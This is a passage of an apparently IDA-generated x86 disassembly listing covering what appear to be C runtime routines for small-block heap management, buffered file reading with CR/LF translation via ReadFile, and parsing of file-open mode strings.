and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_421748
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_421748
; ---------------------------------------------------------------------------
loc_421729: ; CODE XREF: sub_421688+85j
add ecx, 0FFFFFFE0h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_421748
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_421748: ; CODE XREF: sub_421688+7Bj
; sub_421688+98j ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_421811
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
cmp edi, 3Fh
lea ecx, [ecx+esi-4]
jbe short loc_421782
push 3Fh
pop edi
loc_421782: ; CODE XREF: sub_421688+F5j
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_4217FF
mov cl, [edi+eax+4]
mov byte ptr [ebp+arg_8+3], cl
inc cl
cmp edi, 20h
mov [edi+eax+4], cl
jnb short loc_4217D6
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_4217CE
mov ecx, edi
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_4217CE: ; CODE XREF: sub_421688+136j
lea eax, [eax+edx*4+44h]
mov ecx, edi
jmp short loc_4217F6
; ---------------------------------------------------------------------------
loc_4217D6: ; CODE XREF: sub_421688+130j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_4217EC
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_4217EC: ; CODE XREF: sub_421688+152j
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
loc_4217F6: ; CODE XREF: sub_421688+14Cj
mov edx, 80000000h
shr edx, cl
or [eax], edx
loc_4217FF: ; CODE XREF: sub_421688+11Ej
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_421814
; ---------------------------------------------------------------------------
loc_421811: ; CODE XREF: sub_421688+DEj
mov edx, [ebp+arg_4]
loc_421814: ; CODE XREF: sub_421688+187j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_42195F
; ---------------------------------------------------------------------------
loc_421823: ; CODE XREF: sub_421688+50j
; sub_421688+5Aj
xor eax, eax
jmp loc_421962
; ---------------------------------------------------------------------------
loc_42182A: ; CODE XREF: sub_421688+47j
jge loc_42195F
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
sar esi, 4
dec esi
cmp esi, 3Fh
mov [ebp+arg_4], ebx
mov [ebx-4], ecx
jbe short loc_421855
push 3Fh
pop esi
loc_421855: ; CODE XREF: sub_421688+1C8j
test byte ptr [ebp+var_4], 1
jnz loc_4218DF
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_42186E
push 3Fh
pop esi
loc_42186E: ; CODE XREF: sub_421688+1E1j
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_4218B8
cmp esi, 20h
mov ebx, 80000000h
jnb short loc_421899
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_4218B5
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4218B5
; ---------------------------------------------------------------------------
loc_421899: ; CODE XREF: sub_421688+1F6j
lea ecx, [esi-20h]
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4218B5
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4218B5: ; CODE XREF: sub_421688+208j
; sub_421688+20Fj ...
mov ebx, [ebp+arg_4]
loc_4218B8: ; CODE XREF: sub_421688+1ECj
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov esi, [edi+8]
mov ecx, [edi+4]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4218DF
push 3Fh
pop esi
loc_4218DF: ; CODE XREF: sub_421688+1D1j
; sub_421688+252j
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [ebx+8], ecx
mov [ebx+4], edi
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_421956
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
cmp esi, 20h
mov [esi+eax+4], cl
jnb short loc_42192D
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_421925
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_421925: ; CODE XREF: sub_421688+28Dj
lea eax, [eax+edx*4+44h]
mov ecx, esi
jmp short loc_42194D
; ---------------------------------------------------------------------------
loc_42192D: ; CODE XREF: sub_421688+287j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_421943
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_421943: ; CODE XREF: sub_421688+2A9j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
loc_42194D: ; CODE XREF: sub_421688+2A3j
mov edx, 80000000h
shr edx, cl
or [eax], edx
loc_421956: ; CODE XREF: sub_421688+275j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_42195F: ; CODE XREF: sub_421688+196j
; sub_421688:loc_42182Aj
xor eax, eax
inc eax
loc_421962: ; CODE XREF: sub_421688+19Dj
pop edi
pop esi
pop ebx
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421967 proc near ; CODE XREF: sub_41E3C2+74p
; sub_41E561+17p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov ecx, [ebp+arg_0]
mov eax, ds:dword_4E2EE4
mov edx, ds:dword_4E2EE8
add ecx, 17h
and ecx, 0FFFFFFF0h
push ebx
mov [ebp+var_10], ecx
sar ecx, 4
push esi
lea eax, [eax+eax*4]
push edi
dec ecx
cmp ecx, 20h
lea edi, [edx+eax*4]
mov [ebp+var_4], edi
jge short loc_4219A4
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_4219B1
; ---------------------------------------------------------------------------
loc_4219A4: ; CODE XREF: sub_421967+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_8], eax
loc_4219B1: ; CODE XREF: sub_421967+3Bj
mov eax, ds:dword_4E2EF0
mov ebx, eax
mov [ebp+var_C], esi
cmp ebx, edi
jmp short loc_4219D3
; ---------------------------------------------------------------------------
loc_4219BF: ; CODE XREF: sub_421967+6Fj
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4219D8
add ebx, 14h
cmp ebx, [ebp+var_4]
loc_4219D3: ; CODE XREF: sub_421967+56j
mov [ebp+arg_0], ebx
jb short loc_4219BF
loc_4219D8: ; CODE XREF: sub_421967+64j
cmp ebx, [ebp+var_4]
jnz short loc_421A01
mov ebx, edx
jmp short loc_4219F2
; ---------------------------------------------------------------------------
loc_4219E1: ; CODE XREF: sub_421967+90j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4219F9
add ebx, 14h
loc_4219F2: ; CODE XREF: sub_421967+78j
cmp ebx, eax
mov [ebp+arg_0], ebx
jb short loc_4219E1
loc_4219F9: ; CODE XREF: sub_421967+86j
cmp ebx, eax
jz loc_421A95
loc_421A01: ; CODE XREF: sub_421967+74j
; sub_421967+170j
mov ds:dword_4E2EF0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_421A28
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_421A5E
loc_421A28: ; CODE XREF: sub_421967+ABj
mov edx, [eax+0C4h]
and edx, [ebp+var_8]
and [ebp+var_4], 0
lea ecx, [eax+44h]
mov esi, [ecx]
and esi, [ebp+var_C]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_421A5B
loc_421A44: ; CODE XREF: sub_421967+F2j
mov edx, [ecx+84h]
and edx, [ebp+var_8]
inc [ebp+var_4]
add ecx, 4
mov edi, [ecx]
and edi, esi
or edx, edi
jz short loc_421A44
loc_421A5B: ; CODE XREF: sub_421967+DBj
mov edx, [ebp+var_4]
loc_421A5E: ; CODE XREF: sub_421967+BFj
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
xor edi, edi
and ecx, esi
jnz short loc_421AE7
mov ecx, [eax+edx*4+0C4h]
and ecx, [ebp+var_8]
push 20h
pop edi
jmp short loc_421AE7
; ---------------------------------------------------------------------------
loc_421A89: ; CODE XREF: sub_421967+131j
cmp dword ptr [ebx+8], 0
jnz short loc_421A9A
add ebx, 14h
mov [ebp+arg_0], ebx
loc_421A95: ; CODE XREF: sub_421967+94j
cmp ebx, [ebp+var_4]
jb short loc_421A89
loc_421A9A: ; CODE XREF: sub_421967+126j
cmp ebx, [ebp+var_4]
jnz short loc_421AC5
mov ebx, edx
jmp short loc_421AAC
; ---------------------------------------------------------------------------
loc_421AA3: ; CODE XREF: sub_421967+14Aj
cmp dword ptr [ebx+8], 0
jnz short loc_421AB3
add ebx, 14h
loc_421AAC: ; CODE XREF: sub_421967+13Aj
cmp ebx, eax
mov [ebp+arg_0], ebx
jb short loc_421AA3
loc_421AB3: ; CODE XREF: sub_421967+140j
cmp ebx, eax
jnz short loc_421AC5
call sub_4214CB
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_421ADD
loc_421AC5: ; CODE XREF: sub_421967+136j
; sub_421967+14Ej
push ebx
call sub_421582
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_421A01
loc_421ADD: ; CODE XREF: sub_421967+15Cj
xor eax, eax
jmp loc_421C5E
; ---------------------------------------------------------------------------
loc_421AE4: ; CODE XREF: sub_421967+182j
shl ecx, 1
inc edi
loc_421AE7: ; CODE XREF: sub_421967+111j
; sub_421967+120j
test ecx, ecx
jge short loc_421AE4
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
sar esi, 4
dec esi
cmp esi, 3Fh
mov [ebp+var_8], ecx
jle short loc_421B08
push 3Fh
pop esi
loc_421B08: ; CODE XREF: sub_421967+19Cj
cmp esi, edi
jz loc_421C11
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_421B74
cmp edi, 20h
mov ebx, 80000000h
jge short loc_421B48
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_421B71
mov ecx, [ebp+var_14]
mov ebx, [ebp+arg_0]
and [ebx], ecx
jmp short loc_421B74
; ---------------------------------------------------------------------------
loc_421B48: ; CODE XREF: sub_421967+1B9j
lea ecx, [edi-20h]
shr ebx, cl
mov ecx, [ebp+var_4]
lea ecx, [eax+ecx*4+0C4h]
lea edi, [eax+edi+4]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_421B71
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_421B74
; ---------------------------------------------------------------------------
loc_421B71: ; CODE XREF: sub_421967+1D5j
; sub_421967+1FDj
mov ebx, [ebp+arg_0]
loc_421B74: ; CODE XREF: sub_421967+1AFj
; sub_421967+1DFj ...
cmp [ebp+var_8], 0
mov ecx, [edx+8]
mov edi, [edx+4]
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_421C1D
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [edx+8], ecx
mov [edx+4], edi
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_421C0E
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_0+3], cl
inc cl
cmp esi, 20h
mov [esi+eax+4], cl
jge short loc_421BE5
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_421BD3
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_421BD3: ; CODE XREF: sub_421967+25Fj
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_421C0E
; ---------------------------------------------------------------------------
loc_421BE5: ; CODE XREF: sub_421967+259j
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_421BF8
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_421BF8: ; CODE XREF: sub_421967+282j
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_421C0E: ; CODE XREF: sub_421967+247j
; sub_421967+27Cj
mov ecx, [ebp+var_8]
loc_421C11: ; CODE XREF: sub_421967+1A3j
test ecx, ecx
jz short loc_421C20
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_421C20
; ---------------------------------------------------------------------------
loc_421C1D: ; CODE XREF: sub_421967+223j
mov ecx, [ebp+var_8]
loc_421C20: ; CODE XREF: sub_421967+2ACj
; sub_421967+2B4j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_421C56
cmp ebx, ds:dword_4E2EE0
jnz short loc_421C56
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_4E2EF8
jnz short loc_421C56
and ds:dword_4E2EE0, 0
loc_421C56: ; CODE XREF: sub_421967+2D3j
; sub_421967+2DBj ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_421C5E: ; CODE XREF: sub_421967+178j
pop edi
pop esi
pop ebx
leave
retn
sub_421967 endp
; =============== S U B R O U T I N E =======================================
sub_421C63 proc near ; CODE XREF: sub_41E2D9+AAp
; sub_41EA5D+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_421D3C
test al, 40h
jnz loc_421D3C
test al, 2
jz short loc_421C8A
or eax, 20h
mov [esi+0Ch], eax
jmp loc_421D3C
; ---------------------------------------------------------------------------
loc_421C8A: ; CODE XREF: sub_421C63+1Aj
or eax, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_421C9F
push esi
call sub_4269FF
pop ecx
jmp short loc_421CA4
; ---------------------------------------------------------------------------
loc_421C9F: ; CODE XREF: sub_421C63+31j
mov eax, [esi+8]
mov [esi], eax
loc_421CA4: ; CODE XREF: sub_421C63+3Aj
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_421D41
add esp, 0Ch
test eax, eax
mov [esi+4], eax
jz short loc_421D2B
cmp eax, 0FFFFFFFFh
jz short loc_421D2B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_421D00
mov ecx, [esi+10h]
cmp ecx, 0FFFFFFFFh
push edi
jz short loc_421CE6
mov edi, ecx
sar edi, 5
mov edi, ds:dword_4E2BA0[edi*4]
and ecx, 1Fh
lea edi, [edi+ecx*8]
jmp short loc_421CEB
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421C63+6Dj
mov edi, offset dword_443A40
loc_421CEB: ; CODE XREF: sub_421C63+81j
mov cl, [edi+4]
and cl, 82h
cmp cl, 82h
pop edi
jnz short loc_421D00
or edx, 2000h
mov [esi+0Ch], edx
loc_421D00: ; CODE XREF: sub_421C63+64j
; sub_421C63+92j
cmp dword ptr [esi+18h], 200h
jnz short loc_421D1D
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_421D1D
test ch, 4
jnz short loc_421D1D
mov dword ptr [esi+18h], 1000h
loc_421D1D: ; CODE XREF: sub_421C63+A4j
; sub_421C63+ACj ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_421D2B: ; CODE XREF: sub_421C63+57j
; sub_421C63+5Cj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_421D3C: ; CODE XREF: sub_421C63+Aj
; sub_421C63+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_421C63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D41 proc near ; CODE XREF: sub_41E2D9+91p
; sub_421C63+4Ap ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_0]
cmp esi, ds:dword_4E2B98
push edi
jnb loc_421F16
mov eax, esi
sar eax, 5
lea edi, ds:4E2BA0h[eax*4]
mov eax, [edi]
and esi, 1Fh
shl esi, 3
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_421F16
and [ebp+var_C], 0
cmp [ebp+arg_8], 0
mov ebx, [ebp+arg_4]
mov ecx, ebx
jz short loc_421DEC
test dl, 2
jnz short loc_421DEC
test dl, 48h
jz short loc_421DB6
cmp byte ptr [eax+5], 0Ah
jz short loc_421DB6
mov eax, [edi]
mov al, [eax+esi+5]
dec [ebp+arg_8]
mov [ebx], al
mov eax, [edi]
lea ecx, [ebx+1]
mov [ebp+var_C], 1
mov byte ptr [eax+esi+5], 0Ah
loc_421DB6: ; CODE XREF: sub_421D41+51j
; sub_421D41+57j
push 0
lea eax, [ebp+var_10]
push eax
push [ebp+arg_8]
mov eax, [edi]
push ecx
push dword ptr [eax+esi]
call ds:dword_42B080 ; ReadFile
test eax, eax
jnz short loc_421DFF
call ds:dword_42B01C ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_421DE7
mov ds:dword_4E28F8, ecx
jmp loc_421F1D
; ---------------------------------------------------------------------------
loc_421DE7: ; CODE XREF: sub_421D41+99j
cmp eax, 6Dh
jnz short loc_421DF3
loc_421DEC: ; CODE XREF: sub_421D41+47j
; sub_421D41+4Cj
xor eax, eax
jmp loc_421F2A
; ---------------------------------------------------------------------------
loc_421DF3: ; CODE XREF: sub_421D41+A9j
push eax
call sub_422C0F
pop ecx
jmp loc_421F27
; ---------------------------------------------------------------------------
loc_421DFF: ; CODE XREF: sub_421D41+8Cj
mov eax, [ebp+var_10]
mov ecx, [edi]
add [ebp+var_C], eax
test byte ptr [ecx+esi+4], 80h
jz loc_421F11
test eax, eax
jz short loc_421E26
cmp byte ptr [ebx], 0Ah
jnz short loc_421E26
mov eax, ecx
lea eax, [eax+esi+4]
or byte ptr [eax], 4
jmp short loc_421E2F
; ---------------------------------------------------------------------------
loc_421E26: ; CODE XREF: sub_421D41+D3j
; sub_421D41+D8j
mov eax, [edi]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FBh
loc_421E2F: ; CODE XREF: sub_421D41+E3j
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], eax
mov [ebp+var_C], ecx
jnb loc_421F0B
loc_421E45: ; CODE XREF: sub_421D41+1B2j
mov eax, [ebp+var_8]
mov al, [eax]
cmp al, 1Ah
jz loc_421EFB
cmp al, 0Dh
jz short loc_421E61
mov [ebx], al
inc ebx
inc [ebp+var_8]
jmp loc_421EED
; ---------------------------------------------------------------------------
loc_421E61: ; CODE XREF: sub_421D41+113j
dec ecx
cmp [ebp+var_8], ecx
jnb short loc_421E7B
mov eax, [ebp+var_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_421E76
add [ebp+var_8], 2
jmp short loc_421ECF
; ---------------------------------------------------------------------------
loc_421E76: ; CODE XREF: sub_421D41+12Dj
mov [ebp+var_8], eax
jmp short loc_421EE9
; ---------------------------------------------------------------------------
loc_421E7B: ; CODE XREF: sub_421D41+124j
inc [ebp+var_8]
push 0
lea eax, [ebp+var_10]
push eax
push 1
lea eax, [ebp+var_1]
push eax
mov eax, [edi]
push dword ptr [eax+esi]
call ds:dword_42B080 ; ReadFile
test eax, eax
jnz short loc_421EA3
call ds:dword_42B01C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_421EE9
loc_421EA3: ; CODE XREF: sub_421D41+156j
cmp [ebp+var_10], 0
jz short loc_421EE9
mov eax, [edi]
test byte ptr [eax+esi+4], 48h
jz short loc_421EC4
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_421ECF
mov byte ptr [ebx], 0Dh
mov ecx, [edi]
mov [ecx+esi+5], al
jmp short loc_421EEC
; ---------------------------------------------------------------------------
loc_421EC4: ; CODE XREF: sub_421D41+16Fj
cmp ebx, [ebp+arg_4]
jnz short loc_421ED4
cmp [ebp+var_1], 0Ah
jnz short loc_421ED4
loc_421ECF: ; CODE XREF: sub_421D41+133j
; sub_421D41+176j
mov byte ptr [ebx], 0Ah
jmp short loc_421EEC
; ---------------------------------------------------------------------------
loc_421ED4: ; CODE XREF: sub_421D41+186j
; sub_421D41+18Cj
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42569D
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_421EED
loc_421EE9: ; CODE XREF: sub_421D41+138j
; sub_421D41+160j ...
mov byte ptr [ebx], 0Dh
loc_421EEC: ; CODE XREF: sub_421D41+181j
; sub_421D41+191j
inc ebx
loc_421EED: ; CODE XREF: sub_421D41+11Bj
; sub_421D41+1A6j
mov ecx, [ebp+var_C]
cmp [ebp+var_8], ecx
jb loc_421E45
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFB: ; CODE XREF: sub_421D41+10Bj
mov eax, [edi]
test byte ptr [eax+esi+4], 40h
jnz short loc_421F0B
lea esi, [eax+esi+4]
or byte ptr [esi], 2
loc_421F0B: ; CODE XREF: sub_421D41+FEj
; sub_421D41+1B8j ...
sub ebx, [ebp+arg_4]
mov [ebp+var_C], ebx
loc_421F11: ; CODE XREF: sub_421D41+CBj
mov eax, [ebp+var_C]
jmp short loc_421F2A
; ---------------------------------------------------------------------------
loc_421F16: ; CODE XREF: sub_421D41+12j
; sub_421D41+34j
and ds:dword_4E28F8, 0
loc_421F1D: ; CODE XREF: sub_421D41+A1j
mov ds:dword_4E28F4, 9
loc_421F27: ; CODE XREF: sub_421D41+B9j
or eax, 0FFFFFFFFh
loc_421F2A: ; CODE XREF: sub_421D41+ADj
; sub_421D41+1D3j
pop edi
pop esi
pop ebx
leave
retn
sub_421D41 endp
; =============== S U B R O U T I N E =======================================
sub_421F2F proc near ; CODE XREF: sub_41E3C2+113p
; sub_41E3C2+151p ...
arg_0 = dword ptr 4
mov eax, ds:dword_4E2960
test eax, eax
jz short loc_421F47
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_421F47
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_421F47: ; CODE XREF: sub_421F2F+7j
; sub_421F2F+12j
xor eax, eax
retn
sub_421F2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F4A proc near ; CODE XREF: sub_41E524+21p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ds:dword_4E2AD4
push edi
mov edi, [ebp+arg_4]
mov al, [edi]
xor ebx, ebx
cmp al, 61h
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
jz short loc_421F83
cmp al, 72h
jz short loc_421F7C
cmp al, 77h
jnz loc_42208F
mov ecx, 301h
jmp short loc_421F88
; ---------------------------------------------------------------------------
loc_421F7C: ; CODE XREF: sub_421F4A+21j
xor ecx, ecx
or esi, 1
jmp short loc_421F8B
; ---------------------------------------------------------------------------
loc_421F83: ; CODE XREF: sub_421F4A+1Dj
mov ecx, 109h
loc_421F88: ; CODE XREF: sub_421F4A+30j
or esi, 2
loc_421F8B: ; CODE XREF: sub_421F4A+37j
xor edx, edx
inc edx
jmp loc_42206A
; ---------------------------------------------------------------------------
loc_421F93: ; CODE XREF: sub_421F4A+125j
cmp edx, ebx
jz loc_422075
movsx eax, al
cmp eax, 54h
jg short loc_422014
jz short loc_422007
sub eax, 2Bh
jz short loc_421FF1
sub eax, 19h
jz short loc_421FE7
sub eax, 0Eh
jz short loc_421FD3
dec eax
jnz loc_42204C
cmp [ebp+var_4], ebx
jnz loc_42204C
mov [ebp+var_4], 1
or ecx, 20h
jmp loc_42206A
; ---------------------------------------------------------------------------
loc_421FD3: ; CODE XREF: sub_421F4A+68j
cmp [ebp+var_4], ebx
jnz short loc_42204C
mov [ebp+var_4], 1
or ecx, 10h
jmp loc_42206A
; ---------------------------------------------------------------------------
loc_421FE7: ; CODE XREF: sub_421F4A+63j
test cl, 40h
jnz short loc_42204C
or ecx, 40h
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_421FF1: ; CODE XREF: sub_421F4A+5Ej
test cl, 2
jnz short loc_42204C
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_422007: ; CODE XREF: sub_421F4A+59j
mov eax, 1000h
test ecx, eax
jnz short loc_42204C
or ecx, eax
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_422014: ; CODE XREF: sub_421F4A+57j
sub eax, 62h
jz short loc_42205F
dec eax
jz short loc_422047
sub eax, 0Bh
jz short loc_422033
sub eax, 6
jnz short loc_42204C
test ch, 0C0h
jnz short loc_42204C
or ecx, 4000h
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_422033: ; CODE XREF: sub_421F4A+D5j
cmp [ebp+var_8], ebx
jnz short loc_42204C
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_422047: ; CODE XREF: sub_421F4A+D0j
cmp [ebp+var_8], ebx
jz short loc_422050
loc_42204C: ; CODE XREF: sub_421F4A+6Bj
; sub_421F4A+74j ...
xor edx, edx
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_422050: ; CODE XREF: sub_421F4A+100j
mov [ebp+var_8], 1
or esi, 4000h
jmp short loc_42206A
; ---------------------------------------------------------------------------
loc_42205F: ; CODE XREF: sub_421F4A+CDj
test ch, 0C0h
jnz short loc_42204C
or ecx, 8000h
loc_42206A: ; CODE XREF: sub_421F4A+44j
; sub_421F4A+84j ...
inc edi
mov al, [edi]
cmp al, bl
jnz loc_421F93
loc_422075: ; CODE XREF: sub_421F4A+4Bj
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_426A43
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_422093
loc_42208F: ; CODE XREF: sub_421F4A+25j
xor eax, eax
jmp short loc_4220AD
; ---------------------------------------------------------------------------
loc_422093: ; CODE XREF: sub_421F4A+143j
mov eax, [ebp+arg_C]
inc ds:dword_4E2944
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_4220AD: ; CODE XREF: sub_421F4A+147j
pop edi
pop esi
pop ebx
leave
retn
sub_421F4A endp
; =============== S U B R O U T I N E =======================================
sub_4220B2 proc near ; CODE XREF: sub_41E524p
push ebx
push esi
push edi
mov edi, ds:dword_4E3F20
xor ebx, ebx
xor esi, esi
xor eax, eax
cmp edi, ebx
jle short loc_42211E
mov ecx, ds:dword_4E2F08
